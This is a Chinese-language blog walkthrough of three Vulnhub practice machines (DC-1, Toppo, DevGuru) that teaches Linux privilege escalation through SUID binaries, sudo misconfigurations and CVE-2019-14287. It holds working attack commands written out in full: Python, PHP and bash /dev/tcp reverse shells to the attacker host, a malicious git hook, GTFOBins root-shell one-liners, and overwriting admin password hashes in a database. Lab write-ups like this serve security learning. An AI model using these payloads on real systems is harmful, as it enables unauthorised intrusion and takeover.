首页 > 系统相关 >Linux提权——SUID&SUDO(Vulnhub靶机)

Linux提权——SUID&SUDO(Vulnhub靶机)

时间:2024-04-01 22:34:33浏览次数:17  
标签:SUID SUDO 192.168 提权 靶机 权限 root

#简述

1、SUID提权

SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。

2、SUDO提权

SUDO是Linux下常用允许普通用户使用root用户权限的工具命令,允许超级管理员让普通用户执行一些或者全部root命令。SUDO能够限制用户只在某台主机上运行某些命令。SUDO的配置文件是 /etc/sudoers,用于配置 sudo 命令的权限,也可以使用** sudo -l **命令检查文件配置。

#打靶过程

1、DC-1

靶机:192.168.230.220
攻击机(Kali):192.168.230.128

1、前期信息收集,使用nmap对** 192.168.230.0/24** 进行扫描
屏幕截图 2024-03-29 191500.jpg

2、扫描得到的靶机IP为 192.168.230.220,开放的端口为 22 、80、111,浏览器直接访问80端口
屏幕截图 2024-03-29 203712.jpg
访问页面最底部有英文 Powered by Drupal,Drupal是一个CMS,曾经爆出过漏洞。

3、打开MSF,搜索对应的EXP
屏幕截图 2024-03-29 194254.jpg

4、选择18年的exp,配置好相应的参数后,run
屏幕截图 2024-03-29 194334.jpg
成功获取到 meterpreter,不过此时的用户为 www-data,权限很低,需要进一步提权。

5、进入交互式shell后,执行命令:find / -perm -u=s -type f 2>/dev/null
这条命令是用于查找具有SUID权限的文件
屏幕截图 2024-03-29 194235.jpg
可以看到结果有十多个拥有SUID权限的文件

6、除了这条命令,还可以使用** Linpeas.sh** 文件进行扫描,也可以得到拥有SUID权限的文件对应的结果。
攻击机开启http服务,靶机wget得到 linpeas.sh 文件
屏幕截图 2024-03-29 194514.jpg

7、执行结果如下,标橙色的优先选择
屏幕截图 2024-03-29 194658.jpg
为什么 find 命令会被标记优先选择呢?
这是因为 find 命令存在一个参数 -exec 用于在找到匹配文件后执行指定的命令,由于这里的 /usr/bin/find 有用SUID权限,即意味着其他用户调用find命令时会以root用户来执行。

8、https://gtfobins.github.io/
我们通过这个网站来搜寻对应命令文件的SUID提权使用方法
屏幕截图 2024-03-29 200121.jpg

9、执行上图的命令,直接以root身份打开了一个shell,拥有了root的权限
屏幕截图 2024-03-29 200341.jpg
同时也成功获取flag文件

2、Toppo

靶机:192.168.230.221
攻击机:192.168.230.128
屏幕截图 2024-03-29 202603.jpg

1、同样信息收集,nmap扫C段,得到靶机的具体IP为 192.168.230.221
屏幕截图 2024-03-29 202914.jpg
同时知道靶机开放的端口有 22、80、111
屏幕截图 2024-03-29 203214.jpg

2、浏览器访问80端口,从页面来看是一个博客站点
屏幕截图 2024-03-29 203525.jpg

3、使用dirsearch工具扫描目录,结果如下所示:
屏幕截图 2024-03-29 204306.jpg

4、访问 /admin 路径,发现存在目录遍历,其中有个 notes.txt 文件
屏幕截图 2024-03-29 204348.jpg

5、打开 notes.txt 文件,内容如下所示:
屏幕截图 2024-03-29 204412.jpg
Note to myself
I need to change my password :12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer.

可以从中得到一串密码为:12345ted123

6、推断使用ssh进行登录:ssh [email protected]
屏幕截图 2024-03-29 205626.jpg
成功登录!此时用户为ted,需要进一步提权得到root权限

7、同样使用命令:find / -perm -u=s -type f 2>/dev/null
了解拥有SUID的文件
屏幕截图 2024-03-29 205740.jpg

8、从列举的文件来看,这个 /usr/bin/python2.7 是个值得注意的点,因为借助python可以执行脚本、反弹shell……
屏幕截图 2024-03-29 210018.jpg

9、https://gtfobins.github.io/
同样借助这个网站搜索python的SUID提权命令
屏幕截图 2024-03-29 210044.jpg
屏幕截图 2024-03-29 210113.jpg
./python -c import os;os.execl("/bin/sh","sh","-p")'

10、我在打靶没按照上述命令,而是尝试了反弹shell
Kali监听5555端口:nc -lvnp 5555
靶机payload:/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.230.128",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
屏幕截图 2024-03-29 210315.jpg
成功反弹shell

11、此时身份为root,拥有root权限,可直接访问到root目录下的flag.txt文件
屏幕截图 2024-03-29 210352.jpg

12、这个靶机除了使用SUID提权方法,还能使用SUDO提权。
浏览sudo的配置文件 /etc/sudoers
屏幕截图 2024-03-29 211118.jpg
这里的意思是:ted用户可以以任何用户身份在任何主机上无需密码执行 /usr/bin/awk 命令

13、我们再去搜索一下awk的SUDO提权的使用
屏幕截图 2024-03-29 211153.jpg
屏幕截图 2024-03-29 211227.jpg
关于awk:awk 是一种强大的文本处理工具,通常用于从文本文件中提取和处理数据。它是一种编程语言,具有灵活的语法和丰富的内置函数,可以轻松地进行文本处理、数据提取、格式化输出等操作。

14、payload:/usr/bin/awk 'BEGIN {system("/bin/sh")}'
屏幕截图 2024-03-29 211727.jpg
同样成功提权到root,拿到flag

3、DevGuru(重难点)

靶机:192.168.230.222
攻击机:192.168.230.128
屏幕截图 2024-03-30 092515.jpg

1、老样子,了解到靶机的IP:192.168.230.222,使用nmap对其进行扫描
屏幕截图 2024-03-30 092627.jpg
结果显示靶机开放了 22、80 端口

2、浏览器访问 80 端口,页面如下所示:(看样子是模拟一个公司的官网)
屏幕截图 2024-03-30 092700.jpg

3、使用dirsearch工具对其进行目录扫描
屏幕截图 2024-03-30 093216.jpg
得到一个重要的路径 /.git,因此思路往git源码泄露这方面靠拢

4、相关工具:https://github.com/lijiejie/GitHack
屏幕截图 2024-03-30 093507.jpg
使用GitHack脚本工具对目标** http://192.168.230.222/.git** 获取网站源码
屏幕截图 2024-03-30 093422.jpg

5、源码文件如下所示:
屏幕截图 2024-03-30 094126.jpg

6、在 config 目录下,找到数据库文件 database.php ,发现了数据库的账号和密码
屏幕截图 2024-03-30 094155.jpg

7、从刚才目录扫描的结果也得到 /adminer.php 路径,访问的页面是一个数据库后台
屏幕截图 2024-03-30 094235.jpg

8、尝试利用刚才发现的账号密码登录
屏幕截图 2024-03-30 094318.jpg
成功登入数据库后台

9、在 backend_users 表中发现一个名为 Frank 的用户,其中包括登录名、加密后的密码、权限id……
屏幕截图 2024-03-30 094438.jpg

10、根据Chat-GPT的回答,这段密码的加密方式是BCrypt
屏幕截图 2024-03-30 094636.jpg

11、新创一个用户,
屏幕截图 2024-03-30 095822.jpg
通过Bcrypt加密网站:https://bcrypt-generator.com/
随便加密一段数字作为密码(以123456为例)
屏幕截图 2024-03-30 100143.jpg
创建成功
屏幕截图 2024-03-30 095844.jpg
is_superuser与Frank保持一致,设置为1
屏幕截图 2024-03-30 095904.jpg

12、访问路径** /backend/backend/auth/signin**,这是这个网站的后台
屏幕截图 2024-03-30 095738.jpg

12、使用刚新创建的账号密码登录
屏幕截图 2024-03-30 100128.jpg
成功进入后台

13、搜索过这个October CMS,存在过CVE漏洞,其中包括RCE漏洞
屏幕截图 2024-03-30 100603.jpg

14、选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。
我这里直接用Home路径** /** 反弹shell
屏幕截图 2024-03-30 101643.jpg

function onStart(){
    //nc监听5555端口
    $s=fsockopen("192.168.230.128",5555);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

15、直接访问 / 目录则出发 onStart方法,成功反弹shell到攻击机Kali上
屏幕截图 2024-03-30 101816.jpg

16、目前的用户是 www-data,权限很低
屏幕截图 2024-03-30 101848.jpg

17、在 /var/backups 目录下发现了一个备份文件:app.ini.bak
屏幕截图 2024-03-30 102135.jpg

18、其中发现了另一个数据库用户 gitea,包括其密码
屏幕截图 2024-03-30 102534.jpg

19、回到 /adminer.php ,使用gitea账号密码登录
屏幕截图 2024-03-30 102645.jpg

20、发现用户Frank以及其加密后的密码
屏幕截图 2024-03-30 102741.jpg

21、根据页面显示这是 pbkdf2 加密方式
屏幕截图 2024-03-30 102849.jpg

22、这里硬把密码改成我们想要的密码,如改成 经过Bcrypt加密后的123456
屏幕截图 2024-03-30 102942.jpg

23、补回之前的端口扫描,之前的端口没扫全=-=,忽略了一个8585端口,正好对应Gitee这个系统站点(吃个教训...)
屏幕截图 2024-03-30 103104.jpg
屏幕截图 2024-03-30 103127.jpg

24、登录frank的账户,密码为123456
屏幕截图 2024-03-30 103146.jpg

25、成功进入后台
屏幕截图 2024-03-30 103500.jpg
/frank/devguru-website/settings/hooks/git/update 的路径下,
增加一行:bash -c "exec bash -i >& /dev/tcp/192.168.230.128/5555 0>&1"
用于反弹shell
屏幕截图 2024-03-30 103639.jpg

26、来到 README.md 随便敲几个空格保存后即可触发反弹shell命令
屏幕截图 2024-03-30 104052.jpg
成功反弹!

27、当前的用户是frank,还是需要进一步提权
屏幕截图 2024-03-30 104118.jpg

28、借助 linpeas.sh 提权辅助脚本对靶机进行扫描(攻击机开启http服务,靶机wget远程下载linpeas.sh)
屏幕截图 2024-03-30 104236.jpg

29、在扫描得到的结果发现 /usr/bin/sqlite3 ,用户 frank 在主机 devguru 上可以以任何用户(除了 root 用户)的身份执行 /usr/bin/sqlite3 命令,并且无需输入密码,因此可以尝试SUDO提权
屏幕截图 2024-03-30 104639.jpg

30、查找对应的命令
屏幕截图 2024-03-30 104847.jpg
屏幕截图 2024-03-30 104906.jpg

31、这里又遇到一个坑,后来看了wp才知道这里存在sudo的版本问题(低于1.8.28),需要权限绕过(CVE-2019-14287
屏幕截图 2024-03-30 105227.jpg
屏幕截图 2024-03-30 105348.jpg
具体文章参考:https://blog.csdn.net/chest_/article/details/102716802

32、执行命令:sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为** -1** 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令
屏幕截图 2024-03-30 110308.jpg
成功获取到root权限,得到root-flag!

总结:
1、总体思路:web权限 -> 计算机用户权限 -> 超管权限(root)
2、感觉这个靶机考点很多,个人前期的信息收集不是很充分,思路很容易被卡住
3、也是借助这个靶机学习SUDO提权的方式;结合数据库的信息拿下web权限
还有一点很关键,October CMS给的是web权限,用户为www-data;而gitee这系统则分配的是frank用户权限。通过两者对比之后,发现从frank用户具备条件(也是能利用sudo提权)能够进一步提权到root。
4、还了解到了关于 sudo 命令的权限绕过问题(CVE-2019-14287

标签:SUID,SUDO,192.168,提权,靶机,权限,root
From: https://www.cnblogs.com/gsh23/p/18109524

相关文章

  • 权限提升-Linux系统权限提升篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
    知识点1、Web或普通用户到Linux-服务安全配合SUID-NFS2、普通用户到Linux-环境变量配合SUID-$PATH3、Web或普通用户到Linux-计划任务权限不当-Cron章节点:1、Web权限提升及转移2、系统权限提升及转移3、宿主权限提升及转移4、域控权限提升及转移基础点0、为什么我......
  • 7.2 文件的特殊权限:suid sgid sticky和文件扩展权限ACL
    文件的特殊权限:suidsgidsticky和文件扩展权限ACL其实文件与目录设置不止这些,还有所谓的特殊权限。由于特殊权限会拥有一些`特权`特殊权限:7.2.1文件的特殊权限:suidsgidsticky7.2.1.1SUID(setuid设置用户ID):限定:只能设置在二进制可执行......
  • windows系统提权—内核提权
    内核提权用到这个提权脚本,是用来检测失陷主机是否存在可用的提权脚本原理是靠失陷主机systeminfo里面当前系统的信息查看是哪个版本的windows主机,会从官网的查询当前版本的widows系统存在哪些提权漏洞,根据这些漏洞对应的补丁有没有打上提权步骤受害主机win7攻击者......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......
  • 常用命令-提权降权-sudo
    常用命令-提权-sudosudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。语法sudo......
  • CentOS 执行sudo命令提示“XXX不在 sudoers 文件中“问题处理
    方法一:将用户添加到sudoers文件中定义的sudo组中切换到root用户,执行命令usermod-aGwheel,为要授予其权限的用户的名称使用su-命令切换到原来的用户(或使用reboot命令重启一下系统)。测试sudo访问权限,执行sudowhoami命令如果用户有sudo访问权限,该命令将打印“root”......
  • su和sudo的区别?
    之前一直对 su 和 sudo 这两个命令犯迷糊,最近专门搜了这方面的资料,总算是把两者的关系以及用法搞清楚了,这篇文章来系统总结一下。1.准备工作因为本篇博客中涉及到用户切换,所以需要提前准备好几个测试用户,方便后续切换。Linux中新建用户的命令是 useradd ,一般系统中这个命......
  • 权限概念、权限提升概念以及权限提升的分类和目的 Windows 提权的基础原理是了解操作
    关于权限概念、权限提升概念以及权限提升的分类和目的,以下是一些基本信息供您参考:权限概念:权限是指系统或应用程序授予用户或进程执行某些操作或访问资源的能力。权限通常按照用户的身份、角色或组织结构来管理,以确保系统安全和数据保护。权限提升概念:权限提升是指用......
  • hacksudoAliens
    hacksudoAliens一信息收集IP扫描端口扫描开放端口2280900080访问扫描目录访问backup下载查看mysql.bak发现密码账户user=vishalpassword=hacksudo提权访问9000登录用sql写入木马蚁件连接反弹shellbash-c'execbash-i&>/dev/tcp/10.4.7.150/......